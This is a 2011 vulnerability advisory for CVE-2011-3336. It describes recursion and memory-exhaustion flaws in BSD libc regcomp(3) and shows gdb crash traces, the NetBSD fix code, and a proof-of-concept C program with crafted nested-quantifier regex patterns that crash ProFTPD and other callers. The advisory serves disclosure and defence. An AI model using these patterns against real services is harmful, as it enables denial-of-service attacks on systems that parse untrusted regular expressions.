[ Multiple BSD libc/regcomp(3) Multiple Vulnerabilities ] Author: Maksymilian Arciemowicz http://www.netbsd.org/donations/ http://cxib.net/ Date: - Dis.: 05.10.2011 - Pub.: 04.11.2011 CVE: CVE-2011-3336 Affected Software: - NetBSD 5.1 (fixed) - OpenBSD 5.0 - FreeBSD 8.2 - MacOSX --- 0.Description --- regcomp() compiles the regular expression contained in the pattern string, subject to the flags in cflags, and places the results in the regex_t structure pointed to by preg. cflags is the bitwise OR of zero or more of the following flags: REG_EXTENDED Compile modern (extended) REs, rather than the obsolete (basic) REs that are the default. REG_BASIC This is a synonym for 0, provided as a counterpart to REG_EXTENDED to improve readability. --- 1. Multiple BSD libc/regcomp(3) Multiple Vulnerabilities --- In regcomp(3) of BSD implementation, i've discovered a several flaws. Similar problem was diagnosed one year ago in GNU libc (01.10.2010). But GNU regcomp() code is different from BSD. Recursion and bad memory managment, may admit to unexpected end of application. Together with NetBSD we have decided to fix all these flaws. Most important was limit of recursion for REG_EXTENDED and REG_BASIC, and get better control over memory usage. Specifically crafted .ftpaccess file can return result as below -proftpd--- # telnet 127.0.0.1 21 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. 220 ProFTPD 1.3.3f Server (ProFTPD Default Installation) [127.0.0.1] user dude 331 Password required for dude pass dude and in the same time # gdb -q proftpd 15814 (no debugging symbols found) Attaching to program: /usr/local/sbin/proftpd, process 15814 Reading symbols from /usr/lib/libutil.so.11.2...done. Loaded symbols for /usr/lib/libutil.so.11.2 Reading symbols from /usr/lib/libc.so.58.0...done. Loaded symbols for /usr/lib/libc.so.58.0 Reading symbols from /usr/libexec/ld.so...done. Loaded symbols for /usr/libexec/ld.so 0x001f39e9 in select () from /usr/lib/libc.so.58.0 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x0026d951 in memcpy () from /usr/lib/libc.so.58.0 crash in regcomp() ... assert(finish >= start); if (len == 0) return(ret); enlarge(p, p->ssize + len); /* this many unexpected additions */ assert(p->ssize >= p->slen + len); (void)memcpy(p->strip + p->slen, p->strip + start, (size_t)len * sizeof(sop)); ... (gdb) x/i $eip 0x2d42951 <memcpy+61>: repz movsl %ds:(%esi),%es:(%edi) ... -proftpd--- Uncontrolled memory exhaustion, allow to create an RE consuming all free memory. As we can read in manual: -man regcomp 3-- regexec() performance is poor. This will improve with later releases. nmatch exceeding 0 is expensive; nmatch exceeding 1 is worse. regexec is largely insensitive to RE complexity except that back references are massively expensive. RE length does matter; in particular, there is a strong speed bonus for keeping RE length under about 30 characters, with most special characters counting roughly double. regcomp() implements bounded repetitions by macro expansion, which is costly in time and space if counts are large or bounded repetitions are nested. An RE like, say, `((((a{1,100}){1,100}){1,100}){1,100}){1,100}' will (eventually) run almost any existing machine out of swap space. -man regcomp 3-- Using RE like `((((a{1,100}){1,100}){1,100}){1,100}){1,100}' may lead to out of swap space. It can be helpful to attack last stable version of proftpd. To fix memory exhaustion problem, we should create some limit of memory usage. In my opinion 128MB is optimal limit for one regcomp(3) call. Then function, checking memory usage like below -part-of-fix-- 214: #define MEMLIMIT 0x8000000 215: #define MEMSIZE(p) \ 216: ((p)->ncsalloc / CHAR_BIT * (p)->g->csetsize + \ 217: (p)->ncsalloc * sizeof(cset) + \ 218: (p)->ssize * sizeof(sop)) 219: #define RECLIMIT 256 -part-of-fix-- should solve problem with memory exhaustion. In regcomp() we have a few recursion loops: - p_ere <> p_ere_exp - p_bre <> p_bre_exp - repeat We need to create a limit for the two main functions p_ere and p_bre_exp #define RECLIMIT 256 -REG_EXTENTED--- 341: p_ere( 342: struct parse *p, 343: int stop, /* character this ERE should end at */ 344: size_t reclimit) 345: { ... 351: 352: _DIAGASSERT(p != NULL); 353: 354: if (reclimit++ > RECLIMIT || p->error == REG_ESPACE) { 355: p->error = REG_ESPACE; 356: return; 357: } 358: 359: for (;;) { 360: /* do a bunch of concatenated expressions */ 361: conc = HERE(); 362: while (MORE() && (c = PEEK()) != '|' && c != stop) 363: p_ere_exp(p, reclimit); <=== RECURSION p_ere_exp <> p_ere ... 394: static void 395: p_ere_exp( 396: struct parse *p, 397: size_t reclimit) 398: { ... 420: if (!SEE(')')) 421: p_ere(p, ')', reclimit); <=== RECURSION p_ere <> p_ere_exp ... -REG_EXTENTED--- and adding code like: + if (reclimit++ > RECLIMIT) + p->error = REG_ESPACE; + if (p->error) return; should protect us before huge complexity for REG_EXTENTED and REG_BASIC. The same limit implements to p_bre: -REG_BASIC--- ... 570: static void 571: p_bre( 572: struct parse *p, 573: int end1, /* first terminating character */ 574: int end2, /* second terminating character */ 575: size_t reclimit) 576: { 577: sopno start; 578: int first = 1; /* first subexpression? */ 579: int wasdollar = 0; 580: 581: _DIAGASSERT(p != NULL); 582: 583: if (reclimit++ > RECLIMIT || p->error == REG_ESPACE) { 584: p->error = REG_ESPACE; 585: return; 586: } 587: ... 595: while (MORE() && !SEETWO(end1, end2)) { 596: wasdollar = p_simp_re(p, first, reclimit); <=== RECURSION p_bre_exp <> p_bre 597: first = 0; ... 613: static int /* was the simple RE an unbackslashed $? */ 614: p_simp_re( 615: struct parse *p, 616: int starordinary, /* is a leading * an ordinary character? */ 617: size_t reclimit) 618: { ... 650: case BACKSL|'(': 651: p->g->nsub++; 652: subno = p->g->nsub; 653: if (subno < NPAREN) 654: p->pbegin[subno] = HERE(); 655: EMIT(OLPAREN, subno); 656: /* the MORE here is an error heuristic */ 657: if (MORE() && !SEETWO('\\', ')')) 658: p_bre(p, '\\', ')', reclimit); <=== RECURSION p_bre <> p_bre_exp ... -REG_BASIC--- That all about fixes. For REs like "(\(\(\(\(\(\(\(\(...)" "(((...(.*))))" regcomp() should crash with stack exhaustion symptom This bug has been used to denial of service proftpd 1.3.3f in openbsd 4.9 and netbsd 5.1. Similar problem has been reported in GNU libc. Anyway Redhat has decided to not solve the problem: --- Statement: Red Hat does not consider crash of client application, using regcomp() or regexec() routines on untrusted input without preliminary checking the input for the sanity, to be a security issue (the described deficiency implies and is a known limitation of the glibc regular expression engine implementation). The expressions can be modified to avoid quantification nesting, or program modified to limit size of input passed to regular expression engine. We do not currently plan to fix these flaws. If more information becomes available at a future date, we may revisit these issues. --- regcomp() is not only used in client application. proftpd uses regcomp() in .ftpaccess file. Now we should know, who has right? Red Hat or proftpd has made a mistake using regcomp() in code? GNU need more information to revisit this issue :) --- 2. PoC --- /* poc.c pattern1: ./poc '(.?)((((.*){1,100}){1,100}){1,100}){1,100}' pattern2: ./poc '(.?)(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((.*){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}' Memory fault (core dumped) gdb openbsd 4.9: 1275 (void) memcpy((char *)(p->strip + p->slen), (gdb) print p->slen $14 = 218103912 (gdb) print start $15 = 107 (gdb) print len $16 = 218103802 (gdb) x/x p->slen 0xd000068: Cannot access memory at address 0xd000068 (gdb) n Program received signal SIGSEGV, Segmentation fault. 0x02d42951 in memcpy () from /usr/lib/libc.so.58.0 (gdb) x/i $eip 0x2d42951 <memcpy+61>: repz movsl %ds:(%esi),%es:(%edi) (gdb) x/x $esi 0xbf3ce190: 0x70000064 (gdb) x/x $edi 0xf33ce184: Cannot access memory at address 0xf33ce184 and more patterns from http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/t_exhaust.c */ #include <regex.h> #include <stdio.h> int main (int argc, char *argv[]) { regex_t preg; int a=regcomp(&preg, argv[1], REG_EXTENDED); printf("a:%i\n",a); return 0; } --- 3. Fix --- http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/regcomp.c http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/engine.c http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/regex2.h tests: http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/Makefile http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/t_exhaust.c --- 4. References --- GNU/regcomp() vulnerability http://www.kb.cert.org/vuls/id/912279 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4051 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4052 Statement: https://bugzilla.redhat.com/show_bug.cgi?id=645859#c6 Exploit: tested: ubuntu 11.10 and proftpd 1.3.4rc2 http://cxib.net/stuff/proftpd.gnu.c --- 5. Greets --- Christos Zoulas and thanks for US-CERT for coordinating --- 6. Contact --- Author: Maksymilian Arciemowicz